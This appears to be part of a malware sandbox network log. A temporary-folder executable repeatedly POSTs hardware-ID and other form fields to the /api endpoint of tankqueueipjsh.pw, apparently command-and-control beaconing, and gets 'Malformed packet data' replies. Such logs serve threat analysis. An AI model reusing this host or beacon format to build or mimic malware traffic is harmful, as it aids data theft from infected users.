Dec 6, 2023 14:53:10.542376995 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=bn7je266ca71neg8vhsmhr8qmr; expires=Sun, 31 Mar 2024 07:39:49 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:10 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:10 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:10 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9nBy%2FkdK%2B7dLsn81%2F1JTOyB8Am29go%2F2EAGh7djhtiX8suWijO6hCZbMaKUfRtfWB99YhQU7VxzW4GTIUdmq%2B82nmKBoP7BQJgyXQxCb%2FUoseUltL0gHIh859YyF2xci6eR8oQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:
Dec 6, 2023 14:53:10.542469978 CET	126	IN	Data Raw: 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 37 36 65 62 61 61 35 61 35 65 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: cloudflareCF-RAY: 83150376ebaa5a5e-IAD15Malformed packet data
Dec 6, 2023 14:53:10.542504072 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50205	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:10.642343044 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:10.642626047 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:11.000788927 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=43mmqo2mo61523mfhalserpnd2; expires=Sun, 31 Mar 2024 07:39:49 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:10 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:10 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:10 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eQQeNb1Re9PJ09Z2IvsXfGCt1%2BR6q%2BYsHmJ8JPvNZI98YvNMjZC%2Ffb0Kf3cr3YmqtTQ399d2pQnyFqIsBlhPtAGZCGCX%2BSmEI5zNKVt1jeRwJVe2NQtr8i5LIRDEc%2FgYuieKtw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:53:11.000817060 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 37 39 63 61 34 33 30 35 62 39 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 83150379ca4305b9-IAD15Malformed packet data
Dec 6, 2023 14:53:11.000830889 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50206	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:11.101172924 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:11.101519108 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:11.358294964 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=t19lu67iorkl4oiuadertd0ffg; expires=Sun, 31 Mar 2024 07:39:50 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XBUw5U7mvuy7S%2Bvqa8iTEJx4%2FXV54h7t2LJmAFa4%2F2vCNkO8g9%2F7rmNoEb1YpeQEvYjA%2BlO2QFv6pboXFZdSioPCx1vITKtWln8xsu7KvhkhfBqy49al7eyMVwMYvZOge2NtSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:53:11.358346939 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 37 63 61 39 33 38 36 66 64 33 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 8315037ca9386fd3-IAD15Malformed packet data
Dec 6, 2023 14:53:11.358383894 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50207	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:11.462455988 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:11.462851048 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:11.712414026 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=ch01ojpmcc8a6gia4ueuag4dp5; expires=Sun, 31 Mar 2024 07:39:50 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9reKR1ODpWcxkmEiUhBAWK5VhMIM7%2BDV23jBk5Hk2qiMPxkgOYQaqFKBey%2B2CWenQ%2FfM0aBemlSWZ5I64fkltxpJvW%2FprEKIBc%2BjiMQ9cU8pmyYdbmkJcS10DMXY8qbG3c7v5w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:53:11.712511063 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 37 65 65 65 31 63 33 38 38 30 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 8315037eee1c3880-IAD15Malformed packet data
Dec 6, 2023 14:53:11.712543964 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50209	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:11.814479113 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:11.814920902 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:12.082056999 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=in2tq68e7h9jfhsc1knbbcqv2l; expires=Sun, 31 Mar 2024 07:39:50 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IhuFthWDQlzwHqw6GavIImQ4p2DvuByLGxh3Un3SBBHk%2BibL%2BAZrAzuyCAE%2BwjdIiQ6oTijuAcLt1G%2B6lErw4Kz2J5NXsrh%2FgjZYFg7cs2qqQDLadDx7U2cXScAoYUTR5Ru%2F1g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:
Dec 6, 2023 14:53:12.082122087 CET	126	IN	Data Raw: 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 38 31 31 66 33 66 36 39 66 66 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: cloudflareCF-RAY: 831503811f3f69ff-IAD15Malformed packet data
Dec 6, 2023 14:53:12.082156897 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50210	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:12.181560040 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:12.181765079 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:12.531292915 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=dalckjmkonv6bqicvo8822br6c; expires=Sun, 31 Mar 2024 07:39:51 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7vIzxOLL%2BRRH1TyZ%2FSFbGB7bmb%2Ff87IQ9jhO7mu5%2FQY7n%2Fa92gTOwJ8uE1%2Bxr8MyFdDBlmMb11ObfuJh3nGzyAgR0G7qw%2B0SDUo5XHGfw%2BFqGQJR9SlAnfTkyZzYN5OvAslSgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Se Data Raw: Data Ascii:
Dec 6, 2023 14:53:12.531322002 CET	130	IN	Data Raw: 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 38 33 36 64 36 66 39 63 37 30 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: ver: cloudflareCF-RAY: 831503836d6f9c70-IAD15Malformed packet data
Dec 6, 2023 14:53:12.531336069 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50211	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:12.636965990 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:12.637312889 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:12.890933037 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=2patdljdeq128f0suno8r40vqn; expires=Sun, 31 Mar 2024 07:39:51 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AJf03FT%2Fvnca5i5J%2BjruFpoFBVDv7jb%2BpyFLmTDDFjVOVIAipHn37bxBLfokgBCrpt93N9L9wY9B7nY3OfDOJGafn8ciWDFyifHR4%2Bl8CbDZE3ut1Ur6mS0n9JtTAZJ%2BfVw4qQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:53:12.890978098 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 38 36 33 66 33 62 32 30 35 38 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 831503863f3b2058-IAD15Malformed packet data
Dec 6, 2023 14:53:12.891016006 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50212	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:13.442554951 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:13.442800999 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:13.790657043 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=9pat610j1e29kpmeo09kii7etq; expires=Sun, 31 Mar 2024 07:39:52 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:13 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:13 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:13 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=h1O1ZbLwOV3uqrV%2BWvzjjKgCrsbicAEXh8qKutkWCP%2BmU0RddGjbeEv3P%2BZ3%2BkGoQMDdoOyZIQesQl6JiLZshuBGealemKp8sqj3MJaVI0L6XuwRjVEpWVXph5d8wQrfZzLvnQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:53:13.790714979 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 35 30 33 38 62 34 66 65 39 33 39 32 65 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 8315038b4fe9392e-IAD15Malformed packet data
Dec 6, 2023 14:53:13.790751934 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50214	104.21.83.145	80	5896	C:\Users\user\AppData\Local\Temp\1922353491.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:53:14.303757906 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:53:14.303951979 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 32 37 66 37 37 34 61 32 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l227f774a200004204a9bdd8819627u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:53:14.669874907 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:53:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=giougfbp1jq9tefm77fan7pejp; expires=Sun, 31 Mar 2024 07:39:53 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:53:14 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:53:14 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:53:14 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: 